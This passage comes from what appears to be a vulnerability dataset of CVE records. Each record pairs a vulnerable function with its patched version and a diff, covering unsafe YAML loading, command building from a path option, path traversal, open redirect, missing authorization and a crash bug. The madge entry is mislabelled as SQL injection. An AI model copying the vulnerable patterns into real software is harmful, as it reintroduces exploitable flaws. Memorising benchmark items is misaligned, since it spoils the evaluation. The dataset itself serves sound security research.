)\n            except:\n                logger.exception(_(\"\\u89e3\\u6790\\u5bfc\\u5165\\u6587\\u4ef6\\u5f02\\u5e38\"))\n                # \\u56de\\u6eda\\u4e8b\\u52a1\n                transaction.savepoint_rollback(save_id)\n\n            transaction.savepoint_commit(save_id)\n        try:\n            shutil.rmtree(self.temp_dir)\n            os.remove(zip_file_path)\n            return project.id\n        except:\n            logger.exception(_(\"\\u5220\\u9664\\u4e34\\u65f6\\u6587\\u4ef6\\u5f02\\u5e38\"))\n            return None"}], "fix_func": [{"id": "fix_py_99_1", "commit": "bb49e12", "file_path": "app_doc/import_utils.py", "start_line": "26", "end_line": "161", "snippet": "    def read_zip(self,zip_file_path,create_user):\n        # \\u5bfc\\u5165\\u6d41\\u7a0b\\uff1a\n        # 1\\u3001\\u89e3\\u538bzip\\u538b\\u7f29\\u5305\\u6587\\u4ef6\\u5230temp\\u6587\\u4ef6\\u5939\n        # 2\\u3001\\u904d\\u5386temp\\u6587\\u4ef6\\u5939\\u5185\\u7684\\u89e3\\u538b\\u540e\\u7684.md\\u6587\\u4ef6\n        # 3\\u3001\\u8bfb\\u53d6.md\\u6587\\u4ef6\\u7684\\u6587\\u672c\\u5185\\u5bb9\n        # 4\\u3001\\u5982\\u679c\\u91cc\\u9762\\u5339\\u914d\\u5230\\u76f8\\u5bf9\\u8def\\u5f84\\u7684\\u9759\\u6001\\u6587\\u4ef6\\uff0c\\u4ece\\u6307\\u5b9a\\u6587\\u4ef6\\u5939\\u91cc\\u9762\\u8bfb\\u53d6\n        # 5\\u3001\\u4e0a\\u4f20\\u56fe\\u7247\\uff0c\\u5199\\u5165\\u6570\\u636e\\u5e93\\uff0c\\u4fee\\u6539.md\\u6587\\u4ef6\\u91cc\\u9762\\u7684url\\u8def\\u5f84\n\n        # \\u65b0\\u5efa\\u4e00\\u4e2a\\u4e34\\u65f6\\u6587\\u4ef6\\u5939\\uff0c\\u7528\\u4e8e\\u5b58\\u653e\\u89e3\\u538b\\u7684\\u6587\\u4ef6\n        self.temp_dir = zip_file_path[:-3]\n        os.mkdir(self.temp_dir)\n        # \\u89e3\\u538b zip \\u6587\\u4ef6\\u5230\\u6307\\u5b9a\\u4e34\\u65f6\\u6587\\u4ef6\\u5939\n        shutil.unpack_archive(zip_file_path, extract_dir=self.temp_dir)\n\n        # \\u5904\\u7406\\u6587\\u4ef6\\u5939\\u548c\\u6587\\u4ef6\\u540d\\u7684\\u4e2d\\u6587\\u4e71\\u7801\n        for root, dirs, files in os.walk(self.temp_dir):\n            for dir in dirs:\n                try:\n                    new_dir = dir.encode('cp437').decode('gbk')\n                except:\n                    new_dir = dir.encode('utf-8').decode('utf-8')\n                # print(new_dir)\n                os.rename(os.path.join(root, dir), os.path.join(root, new_dir))\n\n            for file in files:\n                try:\n                    new_file = file.encode('cp437').decode('gbk')\n                except:\n                    new_file = file.encode('utf-8').decode('utf-8')\n                # print(root, new_file)\n                os.rename(os.path.join(root, file), os.path.join(root, new_file))\n\n        # \\u8bfb\\u53d6yaml\\u6587\\u4ef6\n        try:\n            with open(os.path.join(self.temp_dir ,'mrdoc.yaml'),'r',encoding='utf-8') as yaml_file:\n                yaml_str = yaml.safe_load(yaml_file.read())\n                project_name = yaml_str['project_name'] \\\n                    if 'project_name' in yaml_str.keys() else zip_file_path[:-4].split('/')[-1]\n                project_desc = yaml_str['project_desc'] if 'project_desc' in yaml_str.keys() else ''\n                project_role = yaml_str['project_role'] if 'project_role' in yaml_str.keys() else 1\n                editor_mode = yaml_str['editor_mode'] if 'editor_mode' in yaml_str.keys() else 1\n                project_toc = yaml_str['toc']\n                toc_item_list = []\n                for toc in project_toc:\n                    # print(toc)\n                    item = {\n                        'name': toc['name'],\n                        'file': toc['file'],\n                        'parent': 0,\n                    }\n                    toc_item_list.append(item)\n                    if 'children' in toc.keys():\n                        for b in toc['children']:\n                            item = {\n                                'name': b['name'],\n                                'file': b['file'],\n                                'parent': toc['name']\n                            }\n                            toc_item_list.append(item)\n                            if 'children' in b.keys():\n                                for c in b['children']:\n                                    item = {\n                                        'name': c['name'],\n                                        'file': c['file'],\n                                        'parent': b['name']\n                                    }\n                                    toc_item_list.append(item)\n\n\n        except:\n            logger.error(_(\"\\u672a\\u53d1\\u73b0yaml\\u6587\\u4ef6\"))\n            project_name = zip_file_path[:-4].split('/')[-1]\n            project_desc = ''\n            project_role = 1\n            editor_mode = 1\n            project_toc = False\n\n        # \\u5f00\\u542f\\u4e8b\\u52a1\n        with transaction.atomic():\n            save_id = transaction.savepoint()\n            try:\n                # \\u65b0\\u5efa\\u6587\\u96c6\n                project = Project.objects.create(\n                    name=project_name,\n                    intro=project_desc,\n                    role=project_role,\n                    create_user=create_user\n                )\n                if project_toc is False:\n                    # \\u904d\\u5386\\u4e34\\u65f6\\u6587\\u4ef6\\u5939\\u4e2d\\u7684\\u6240\\u6709\\u6587\\u4ef6\\u548c\\u6587\\u4ef6\\u5939\n                    for f in os.listdir(self.temp_dir):\n                        # \\u83b7\\u53d6 .md \\u6587\\u4ef6\n                        if f.endswith('.md'):\n                            # print(f)\n                            # \\u8bfb\\u53d6 .md \\u6587\\u4ef6\\u6587\\u672c\\u5185\\u5bb9\n                            with open(os.path.join(self.temp_dir,f),'r',encoding='utf-8') as md_file:\n                                md_content = md_file.read()\n                                md_content = self.operat_md_media(md_content,create_user)\n                                # \\u65b0\\u5efa\\u6587\\u6863\n                                doc = Doc.objects.create(\n                                    name = f[:-3],\n                                    pre_content = md_content,\n                                    top_doc = project.id,\n                                    status = 0,\n                                    editor_mode = editor_mode,\n                                    create_user = create_user\n                                )\n                else:\n                    for i in toc_item_list:\n                        with open(os.path.join(self.temp_dir,i['file']),'r',encoding='utf-8') as md_file:\n                            md_content = md_file.read()\n                            md_content = self.operat_md_media(md_content, create_user)\n                            # \\u65b0\\u5efa\\u6587\\u6863\n                            doc = Doc.objects.create(\n                                name=i['name'],\n                                pre_content=md_content,\n                                top_doc=project.id,\n                                parent_doc = (Doc.objects.get(top_doc=project.id,name=i['parent'])).id \\\n                                    if i['parent'] != 0 else 0,\n                                status=0,\n                                editor_mode=editor_mode,\n                                create_user=create_user\n                            )\n            except:\n                logger.exception(_(\"\\u89e3\\u6790\\u5bfc\\u5165\\u6587\\u4ef6\\u5f02\\u5e38\"))\n                # \\u56de\\u6eda\\u4e8b\\u52a1\n                transaction.savepoint_rollback(save_id)\n\n            transaction.savepoint_commit(save_id)\n        try:\n            shutil.rmtree(self.temp_dir)\n            os.remove(zip_file_path)\n            return project.id\n        except:\n            logger.exception(_(\"\\u5220\\u9664\\u4e34\\u65f6\\u6587\\u4ef6\\u5f02\\u5e38\"))\n            return None"}], "vul_patch": "--- a/app_doc/import_utils.py\n+++ b/app_doc/import_utils.py\n@@ -33,7 +33,7 @@\n         # \\u8bfb\\u53d6yaml\\u6587\\u4ef6\n         try:\n             with open(os.path.join(self.temp_dir ,'mrdoc.yaml'),'r',encoding='utf-8') as yaml_file:\n-                yaml_str = yaml.load(yaml_file.read())\n+                yaml_str = yaml.safe_load(yaml_file.read())\n                 project_name = yaml_str['project_name'] \\\n                     if 'project_name' in yaml_str.keys() else zip_file_path[:-4].split('/')[-1]\n                 project_desc = yaml_str['project_desc'] if 'project_desc' in yaml_str.keys() else ''\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-23352", "cve_description": "This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/pahen/madge", "patch_url": ["https://github.com/pahen/madge/commit/da5cbc9ab30372d687fa7c324b22af7ffa5c6332"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_125_1", "commit": "c0600c4", "file_path": "lib/graph.js", "start_line": 25, "end_line": 37, "snippet": "function checkGraphvizInstalled(config) {\n\tif (config.graphVizPath) {\n\t\tconst cmd = path.join(config.graphVizPath, 'gvpr -V');\n\t\treturn exec(cmd)\n\t\t\t.catch(() => {\n\t\t\t\tthrow new Error('Could not execute ' + cmd);\n\t\t\t});\n\t}\n\n\treturn exec('gvpr -V')\n\t\t.catch((error) => {\n\t\t\tthrow new Error('Graphviz could not be found. Ensure that \"gvpr\" is in your $PATH.\\n' + error);\n\t\t});"}], "fix_func": [{"id": "fix_js_125_1", "commit": "da5cbc9", "file_path": "lib/graph.js", "start_line": 25, "end_line": 32, "snippet": "async function checkGraphvizInstalled(config) {\n\tconst cmd = config.graphVizPath ? path.join(config.graphVizPath, 'gvpr') : 'gvpr';\n\n\ttry {\n\t\tawait exec(cmd, ['-V']);\n\t} catch (err) {\n\t\tthrow new Error(`Graphviz could not be found. Ensure that \"gvpr\" is in your $PATH. ${err}`);\n\t}"}], "vul_patch": "--- a/lib/graph.js\n+++ b/lib/graph.js\n@@ -1,13 +1,8 @@\n-function checkGraphvizInstalled(config) {\n-\tif (config.graphVizPath) {\n-\t\tconst cmd = path.join(config.graphVizPath, 'gvpr -V');\n-\t\treturn exec(cmd)\n-\t\t\t.catch(() => {\n-\t\t\t\tthrow new Error('Could not execute ' + cmd);\n-\t\t\t});\n+async function checkGraphvizInstalled(config) {\n+\tconst cmd = config.graphVizPath ? path.join(config.graphVizPath, 'gvpr') : 'gvpr';\n+\n+\ttry {\n+\t\tawait exec(cmd, ['-V']);\n+\t} catch (err) {\n+\t\tthrow new Error(`Graphviz could not be found. Ensure that \"gvpr\" is in your $PATH. ${err}`);\n \t}\n-\n-\treturn exec('gvpr -V')\n-\t\t.catch((error) => {\n-\t\t\tthrow new Error('Graphviz could not be found. Ensure that \"gvpr\" is in your $PATH.\\n' + error);\n-\t\t});\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-38698", "cve_description": "HashiCorp Consul and Consul Enterprise 1.10.1 Txn.Apply endpoint allowed services to register proxies for other services, enabling access to service traffic. Fixed in 1.8.15, 1.9.9 and 1.10.2.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/hashicorp/consul", "patch_url": ["https://github.com/hashicorp/consul/commit/8418728bb2c0eaf0371e8a9a88382e2af9b39fcf", "https://github.com/hashicorp/consul/commit/b865e7c8a624b3a1c71c2756996323a775f69434", "https://github.com/hashicorp/consul/commit/60bb45e696055b17e06a4f89336f4d3a95c70af0#"], "programing_language": "Go", "vul_func": [{"id": "vul_go_282_1", "commit": "d451cf261c3e68c63dd3136802bc806a785eda9f", "file_path": "agent/proxycfg/manager.go", "start_line": 136, "end_line": 172, "snippet": "func (m *Manager) syncState() {\n\tm.mu.Lock()\n\tdefer m.mu.Unlock()\n\n\t// Traverse the local state and ensure all proxy services are registered\n\tservices := m.State.Services(structs.WildcardEnterpriseMeta())\n\tfor sid, svc := range services {\n\t\tif svc.Kind != structs.ServiceKindConnectProxy &&\n\t\t\tsvc.Kind != structs.ServiceKindTerminatingGateway &&\n\t\t\tsvc.Kind != structs.ServiceKindMeshGateway &&\n\t\t\tsvc.Kind != structs.ServiceKindIngressGateway {\n\t\t\tcontinue\n\t\t}\n\t\t// TODO(banks): need to work out when to default some stuff. For example\n\t\t// Proxy.LocalServicePort is practically necessary for any sidecar and can\n\t\t// default to the port of the sidecar service, but only if it's already\n\t\t// registered and once we get past here, we don't have enough context to\n\t\t// know that so we'd need to set it here if not during registration of the\n\t\t// proxy service. Sidecar Service in the interim can do that, but we should\n\t\t// validate more generally that that is always true.\n\t\terr := m.ensureProxyServiceLocked(svc, m.State.ServiceToken(sid))\n\t\tif err != nil {\n\t\t\tm.Logger.Error(\"failed to watch proxy service\",\n\t\t\t\t\"service\", sid.String(),\n\t\t\t\t\"error\", err,\n\t\t\t)\n\t\t}\n\t}\n\n\t// Now see if any proxies were removed\n\tfor proxyID := range m.proxies {\n\t\tif _, ok := services[proxyID]; !ok {\n\t\t\t// Remove them\n\t\t\tm.removeProxyServiceLocked(proxyID)\n\t\t}\n\t}\n}"}, {"id": "vul_go_282_2", "commit": "d451cf261c3e68c63dd3136802bc806a785eda9f", "file_path": "agent/proxycfg/manager.go", "start_line": 175, "end_line": 220, "snippet": "func (m *Manager) ensureProxyServiceLocked(ns *structs.NodeService, token string) error {\n\tsid := ns.CompoundServiceID()\n\tstate, ok := m.proxies[sid]\n\n\tif ok {\n\t\tif !state.Changed(ns, token) {\n\t\t\t// No change\n\t\t\treturn nil\n\t\t}\n\n\t\t// We are updating the proxy, close its old state\n\t\tstate.Close()\n\t}\n\n\tvar err error\n\tstate, err = newState(ns, token)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Set the necessary dependencies\n\tstate.logger = m.Logger.With(\"service_id\", sid.String())\n\tstate.cache = m.Cache\n\tstate.source = m.Source\n\tstate.dnsConfig = m.DNSConfig\n\tstate.intentionDefaultAllow = m.IntentionDefaultAllow\n\tif m.TLSConfigurator != nil {\n\t\tstate.serverSNIFn = m.TLSConfigurator.ServerSNI\n\t}\n\n\tch, err := state.Watch()\n\tif err != nil {\n\t\treturn err\n\t}\n\tm.proxies[sid] = state\n\n\t// Start a goroutine that will wait for changes and broadcast them to watchers.\n\tgo func(ch <-chan ConfigSnapshot) {\n\t\t// Run until ch is closed\n\t\tfor snap := range ch {\n\t\t\tm.notify(&snap)\n\t\t}\n\t}(ch)\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_282_1", "commit": "8418728bb2c0eaf0371e8a9a88382e2af9b39fcf", "file_path": "agent/proxycfg/manager.go", "start_line": 140, "end_line": 176, "snippet": "func (m *Manager) syncState() {\n\tm.mu.Lock()\n\tdefer m.mu.Unlock()\n\n\t// Traverse the local state and ensure all proxy services are registered\n\tservices := m.State.Services(structs.WildcardEnterpriseMeta())\n\tfor sid, svc := range services {\n\t\tif svc.Kind != structs.ServiceKindConnectProxy &&\n\t\t\tsvc.Kind != structs.ServiceKindTerminatingGateway &&\n\t\t\tsvc.Kind != structs.ServiceKindMeshGateway &&\n\t\t\tsvc.Kind != structs.ServiceKindIngressGateway {\n\t\t\tcontinue\n\t\t}\n\t\t// TODO(banks): need to work out when to default some stuff. For example\n\t\t// Proxy.LocalServicePort is practically necessary for any sidecar and can\n\t\t// default to the port of the sidecar service, but only if it's already\n\t\t// registered and once we get past here, we don't have enough context to\n\t\t// know that so we'd need to set it here if not during registration of the\n\t\t// proxy service. Sidecar Service in the interim can do that, but we should\n\t\t// validate more generally that that is always true.\n\t\terr := m.ensureProxyServiceLocked(svc)\n\t\tif err != nil {\n\t\t\tm.Logger.Error(\"failed to watch proxy service\",\n\t\t\t\t\"service\", sid.String(),\n\t\t\t\t\"error\", err,\n\t\t\t)\n\t\t}\n\t}\n\n\t// Now see if any proxies were removed\n\tfor proxyID := range m.proxies {\n\t\tif _, ok := services[proxyID]; !ok {\n\t\t\t// Remove them\n\t\t\tm.removeProxyServiceLocked(proxyID)\n\t\t}\n\t}\n}"}, {"id": "fix_go_282_2", "commit": "8418728bb2c0eaf0371e8a9a88382e2af9b39fcf", "file_path": "agent/proxycfg/manager.go", "start_line": 179, "end_line": 232, "snippet": "func (m *Manager) ensureProxyServiceLocked(ns *structs.NodeService) error {\n\tsid := ns.CompoundServiceID()\n\n\t// Retrieve the token used to register the service, or fallback to the\n\t// default user token. This token is expected to match the token used in\n\t// the xDS request for this data.\n\ttoken := m.State.ServiceToken(sid)\n\tif token == \"\" {\n\t\ttoken = m.Tokens.UserToken()\n\t}\n\n\tstate, ok := m.proxies[sid]\n\tif ok {\n\t\tif !state.Changed(ns, token) {\n\t\t\t// No change\n\t\t\treturn nil\n\t\t}\n\n\t\t// We are updating the proxy, close its old state\n\t\tstate.Close()\n\t}\n\n\tvar err error\n\tstate, err = newState(ns, token)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Set the necessary dependencies\n\tstate.logger = m.Logger.With(\"service_id\", sid.String())\n\tstate.cache = m.Cache\n\tstate.source = m.Source\n\tstate.dnsConfig = m.DNSConfig\n\tstate.intentionDefaultAllow = m.IntentionDefaultAllow\n\tif m.TLSConfigurator != nil {\n\t\tstate.serverSNIFn = m.TLSConfigurator.ServerSNI\n\t}\n\n\tch, err := state.Watch()\n\tif err != nil {\n\t\treturn err\n\t}\n\tm.proxies[sid] = state\n\n\t// Start a goroutine that will wait for changes and broadcast them to watchers.\n\tgo func(ch <-chan ConfigSnapshot) {\n\t\t// Run until ch is closed\n\t\tfor snap := range ch {\n\t\t\tm.notify(&snap)\n\t\t}\n\t}(ch)\n\n\treturn nil\n}"}], "vul_patch": "--- a/agent/proxycfg/manager.go\n+++ b/agent/proxycfg/manager.go\n@@ -18,7 +18,7 @@\n \t\t// know that so we'd need to set it here if not during registration of the\n \t\t// proxy service. Sidecar Service in the interim can do that, but we should\n \t\t// validate more generally that that is always true.\n-\t\terr := m.ensureProxyServiceLocked(svc, m.State.ServiceToken(sid))\n+\t\terr := m.ensureProxyServiceLocked(svc)\n \t\tif err != nil {\n \t\t\tm.Logger.Error(\"failed to watch proxy service\",\n \t\t\t\t\"service\", sid.String(),\n\n--- a/agent/proxycfg/manager.go\n+++ b/agent/proxycfg/manager.go\n@@ -1,7 +1,15 @@\n-func (m *Manager) ensureProxyServiceLocked(ns *structs.NodeService, token string) error {\n+func (m *Manager) ensureProxyServiceLocked(ns *structs.NodeService) error {\n \tsid := ns.CompoundServiceID()\n+\n+\t// Retrieve the token used to register the service, or fallback to the\n+\t// default user token. This token is expected to match the token used in\n+\t// the xDS request for this data.\n+\ttoken := m.State.ServiceToken(sid)\n+\tif token == \"\" {\n+\t\ttoken = m.Tokens.UserToken()\n+\t}\n+\n \tstate, ok := m.proxies[sid]\n-\n \tif ok {\n \t\tif !state.Changed(ns, token) {\n \t\t\t// No change\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-26045", "cve_description": "NodeBB is Node.js based forum software. Starting in version 2.5.0 and prior to version 2.8.7, due to the use of the object destructuring assignment syntax in the user export code path, combined with a path traversal vulnerability, a specially crafted payload could invoke the user export logic to arbitrarily execute javascript files on the local disk. This issue is patched in version 2.8.7. As a workaround, site maintainers can cherry pick the fix into their codebase to patch the exploit.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/NodeBB/NodeBB", "patch_url": ["https://github.com/NodeBB/NodeBB/commit/ec58700f6dff8e5b4af1544f6205ec362b593092"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_246_1", "commit": "8cf4a6f", "file_path": "src/api/users.js", "start_line": 445, "end_line": 477, "snippet": "usersAPI.generateExport = async (caller, { uid, type }) => {\n\tconst count = await db.incrObjectField('locks', `export:${uid}${type}`);\n\tif (count > 1) {\n\t\tthrow new Error('[[error:already-exporting]]');\n\t}\n\n\tconst child = require('child_process').fork(`./src/user/jobs/export-${type}.js`, [], {\n\t\tenv: process.env,\n\t});\n\tchild.send({ uid });\n\tchild.on('error', async (err) => {\n\t\twinston.error(err.stack);\n\t\tawait db.deleteObjectField('locks', `export:${uid}${type}`);\n\t});\n\tchild.on('exit', async () => {\n\t\tawait db.deleteObjectField('locks', `export:${uid}${type}`);\n\t\tconst userData = await user.getUserFields(uid, ['username', 'userslug']);\n\t\tconst { displayname } = userData;\n\t\tconst n = await notifications.create({\n\t\t\tbodyShort: `[[notifications:${type}-exported, ${displayname}]]`,\n\t\t\tpath: `/api/user/${userData.userslug}/export/${type}`,\n\t\t\tnid: `${type}:export:${uid}`,\n\t\t\tfrom: uid,\n\t\t});\n\t\tawait notifications.push(n, [caller.uid]);\n\t\tawait events.log({\n\t\t\ttype: `export:${type}`,\n\t\t\tuid: caller.uid,\n\t\t\ttargetUid: uid,\n\t\t\tip: caller.ip,\n\t\t});\n\t});\n};"}, {"id": "vul_js_246_2", "commit": "8cf4a6f", "file_path": "src/socket.io/user/profile.js", "start_line": 64, "end_line": 79, "snippet": "\tasync function doExport(socket, data, type) {\n\t\tsockets.warnDeprecated(socket, 'POST /api/v3/users/:uid/exports/:type');\n\n\t\tif (!socket.uid) {\n\t\t\tthrow new Error('[[error:invalid-uid]]');\n\t\t}\n\n\t\tif (!data || parseInt(data.uid, 10) <= 0) {\n\t\t\tthrow new Error('[[error:invalid-data]]');\n\t\t}\n\n\t\tawait user.isAdminOrSelf(socket.uid, data.uid);\n\n\t\tapi.users.generateExport(socket, { type, ...data });\n\t}\n};"}], "fix_func": [{"id": "fix_js_246_1", "commit": "ec58700f6dff8e5b4af1544f6205ec362b593092", "file_path": "src/api/users.js", "start_line": 445, "end_line": 481, "snippet": "usersAPI.generateExport = async (caller, { uid, type }) => {\n\tconst validTypes = ['profile', 'posts', 'uploads'];\n\tif (!validTypes.includes(type)) {\n\t\tthrow new Error('[[error:invalid-data]]');\n\t}\n\tconst count = await db.incrObjectField('locks', `export:${uid}${type}`);\n\tif (count > 1) {\n\t\tthrow new Error('[[error:already-exporting]]');\n\t}\n\n\tconst child = require('child_process').fork(`./src/user/jobs/export-${type}.js`, [], {\n\t\tenv: process.env,\n\t});\n\tchild.send({ uid });\n\tchild.on('error', async (err) => {\n\t\twinston.error(err.stack);\n\t\tawait db.deleteObjectField('locks', `export:${uid}${type}`);\n\t});\n\tchild.on('exit', async () => {\n\t\tawait db.deleteObjectField('locks', `export:${uid}${type}`);\n\t\tconst userData = await user.getUserFields(uid, ['username', 'userslug']);\n\t\tconst { displayname } = userData;\n\t\tconst n = await notifications.create({\n\t\t\tbodyShort: `[[notifications:${type}-exported, ${displayname}]]`,\n\t\t\tpath: `/api/user/${userData.userslug}/export/${type}`,\n\t\t\tnid: `${type}:export:${uid}`,\n\t\t\tfrom: uid,\n\t\t});\n\t\tawait notifications.push(n, [caller.uid]);\n\t\tawait events.log({\n\t\t\ttype: `export:${type}`,\n\t\t\tuid: caller.uid,\n\t\t\ttargetUid: uid,\n\t\t\tip: caller.ip,\n\t\t});\n\t});\n};"}, {"id": "fix_js_246_2", "commit": "ec58700f6dff8e5b4af1544f6205ec362b593092", "file_path": "src/socket.io/user/profile.js", "start_line": 64, "end_line": 79, "snippet": "\tasync function doExport(socket, data, type) {\n\t\tsockets.warnDeprecated(socket, 'POST /api/v3/users/:uid/exports/:type');\n\n\t\tif (!socket.uid) {\n\t\t\tthrow new Error('[[error:invalid-uid]]');\n\t\t}\n\n\t\tif (!data || parseInt(data.uid, 10) <= 0) {\n\t\t\tthrow new Error('[[error:invalid-data]]');\n\t\t}\n\n\t\tawait user.isAdminOrSelf(socket.uid, data.uid);\n\n\t\tapi.users.generateExport(socket, { type, uid: data.uid });\n\t}\n};"}], "vul_patch": "--- a/src/api/users.js\n+++ b/src/api/users.js\n@@ -1,4 +1,8 @@\n usersAPI.generateExport = async (caller, { uid, type }) => {\n+\tconst validTypes = ['profile', 'posts', 'uploads'];\n+\tif (!validTypes.includes(type)) {\n+\t\tthrow new Error('[[error:invalid-data]]');\n+\t}\n \tconst count = await db.incrObjectField('locks', `export:${uid}${type}`);\n \tif (count > 1) {\n \t\tthrow new Error('[[error:already-exporting]]');\n\n--- a/src/socket.io/user/profile.js\n+++ b/src/socket.io/user/profile.js\n@@ -11,6 +11,6 @@\n \n \t\tawait user.isAdminOrSelf(socket.uid, data.uid);\n \n-\t\tapi.users.generateExport(socket, { type, ...data });\n+\t\tapi.users.generateExport(socket, { type, uid: data.uid });\n \t}\n };\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-33146", "cve_description": "Open redirect vulnerability in web2py versions prior to 2.22.5 allows a remote attacker to redirect a user to an arbitrary web site and conduct a phishing attack by having a user to access a specially crafted URL.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/web2py/web2py", "patch_url": ["https://github.com/web2py/web2py/commit/a181b855a43cb8b479d276b082cfcde385768451", "https://github.com/web2py/web2py/commit/d9805606f88f00c0be56438247605cefde73e14e#diff-c1d01f37ee54d813815718760b9c4d7b274e2be7ad18f65552cd564336ab593bR110"], "programing_language": "Python", "vul_func": [{"id": "vul_py_365_1", "commit": "842994def40ca565aa954a13aa065d2da1090948", "file_path": "applications/admin/controllers/default.py", "start_line": 118, "end_line": 157, "snippet": "def index():\n    \"\"\" Index handler \"\"\"\n\n    send = request.vars.send\n    if DEMO_MODE:\n        session.authorized = True\n        session.last_time = t0\n    if not send:\n        send = URL('site')\n    if session.authorized:\n        redirect(send)\n    elif failed_login_count() >= allowed_number_of_attempts:\n        time.sleep(2 ** allowed_number_of_attempts)\n        raise HTTP(403)\n    elif request.vars.password:\n        if verify_password(request.vars.password[:1024]):\n            session.authorized = True\n            login_record(True)\n\n            if CHECK_VERSION:\n                session.check_version = True\n            else:\n                session.check_version = False\n\n            session.last_time = t0\n            if isinstance(send, list):  # ## why does this happen?\n                send = str(send[0])\n\n            redirect(send)\n        else:\n            times_denied = login_record(False)\n            if times_denied >= allowed_number_of_attempts:\n                response.flash = \\\n                    T('admin disabled because too many invalid login attempts')\n            elif times_denied == allowed_number_of_attempts - 1:\n                response.flash = \\\n                    T('You have one more login attempt before you are locked out')\n            else:\n                response.flash = T('invalid password.')\n    return dict(send=send)"}], "fix_func": [{"id": "fix_py_365_1", "commit": "a181b855a43cb8b479d276b082cfcde385768451", "file_path": "applications/admin/controllers/default.py", "start_line": 118, "end_line": 157, "snippet": "def index():\n    \"\"\" Index handler \"\"\"\n\n    send = prevent_open_redirect(request.vars.send)\n    if DEMO_MODE:\n        session.authorized = True\n        session.last_time = t0\n    if not send:\n        send = URL('site')\n    if session.authorized:\n        redirect(send)\n    elif failed_login_count() >= allowed_number_of_attempts:\n        time.sleep(2 ** allowed_number_of_attempts)\n        raise HTTP(403)\n    elif request.vars.password:\n        if verify_password(request.vars.password[:1024]):\n            session.authorized = True\n            login_record(True)\n\n            if CHECK_VERSION:\n                session.check_version = True\n            else:\n                session.check_version = False\n\n            session.last_time = t0\n            if isinstance(send, list):  # ## why does this happen?\n                send = str(send[0])\n\n            redirect(send)\n        else:\n            times_denied = login_record(False)\n            if times_denied >= allowed_number_of_attempts:\n                response.flash = \\\n                    T('admin disabled because too many invalid login attempts')\n            elif times_denied == allowed_number_of_attempts - 1:\n                response.flash = \\\n                    T('You have one more login attempt before you are locked out')\n            else:\n                response.flash = T('invalid password.')\n    return dict(send=send)"}], "vul_patch": "--- a/applications/admin/controllers/default.py\n+++ b/applications/admin/controllers/default.py\n@@ -1,7 +1,7 @@\n def index():\n     \"\"\" Index handler \"\"\"\n \n-    send = request.vars.send\n+    send = prevent_open_redirect(request.vars.send)\n     if DEMO_MODE:\n         session.authorized = True\n         session.last_time = t0\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-31121", "cve_description": "Hyperledger Fabric is a permissioned distributed ledger framework. In affected versions if a consensus client sends a malformed consensus request to an orderer it may crash the orderer node. A fix has been added in commit 0f1835949 which checks for missing consensus messages and returns an error to the consensus client should the message be missing. Users are advised to upgrade to versions 2.2.7 or v2.4.5. There are no known workarounds for this issue.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/hyperledger/fabric", "patch_url": ["https://github.com/hyperledger/fabric/commit/0f18359493bcbd5f9f9d1a9b05adabfe5da23b06"], "programing_language": "Go", "vul_func": [{"id": "vul_go_184_1", "commit": "1473eca", "file_path": "orderer/common/cluster/service.go", "start_line": 72, "end_line": 97, "snippet": "func (s *Service) handleMessage(stream StepStream, addr string, exp *certificateExpirationCheck) error {\n\trequest, err := stream.Recv()\n\tif err == io.EOF {\n\t\treturn err\n\t}\n\tif err != nil {\n\t\ts.Logger.Warningf(\"Stream read from %s failed: %v\", addr, err)\n\t\treturn err\n\t}\n\n\texp.checkExpiration(time.Now(), extractChannel(request))\n\n\tif s.StepLogger.IsEnabledFor(zap.DebugLevel) {\n\t\tnodeName := commonNameFromContext(stream.Context())\n\t\ts.StepLogger.Debugf(\"Received message from %s(%s): %v\", nodeName, addr, requestAsString(request))\n\t}\n\n\tif submitReq := request.GetSubmitRequest(); submitReq != nil {\n\t\tnodeName := commonNameFromContext(stream.Context())\n\t\ts.Logger.Debugf(\"Received message from %s(%s): %v\", nodeName, addr, requestAsString(request))\n\t\treturn s.handleSubmit(submitReq, stream, addr)\n\t}\n\n\t// Else, it's a consensus message.\n\treturn s.Dispatcher.DispatchConsensus(stream.Context(), request.GetConsensusRequest())\n}"}], "fix_func": [{"id": "fix_go_184_1", "commit": "0f18359", "file_path": "orderer/common/cluster/service.go", "start_line": 73, "end_line": 99, "snippet": "func (s *Service) handleMessage(stream StepStream, addr string, exp *certificateExpirationCheck) error {\n\trequest, err := stream.Recv()\n\tif err == io.EOF {\n\t\treturn err\n\t}\n\tif err != nil {\n\t\ts.Logger.Warningf(\"Stream read from %s failed: 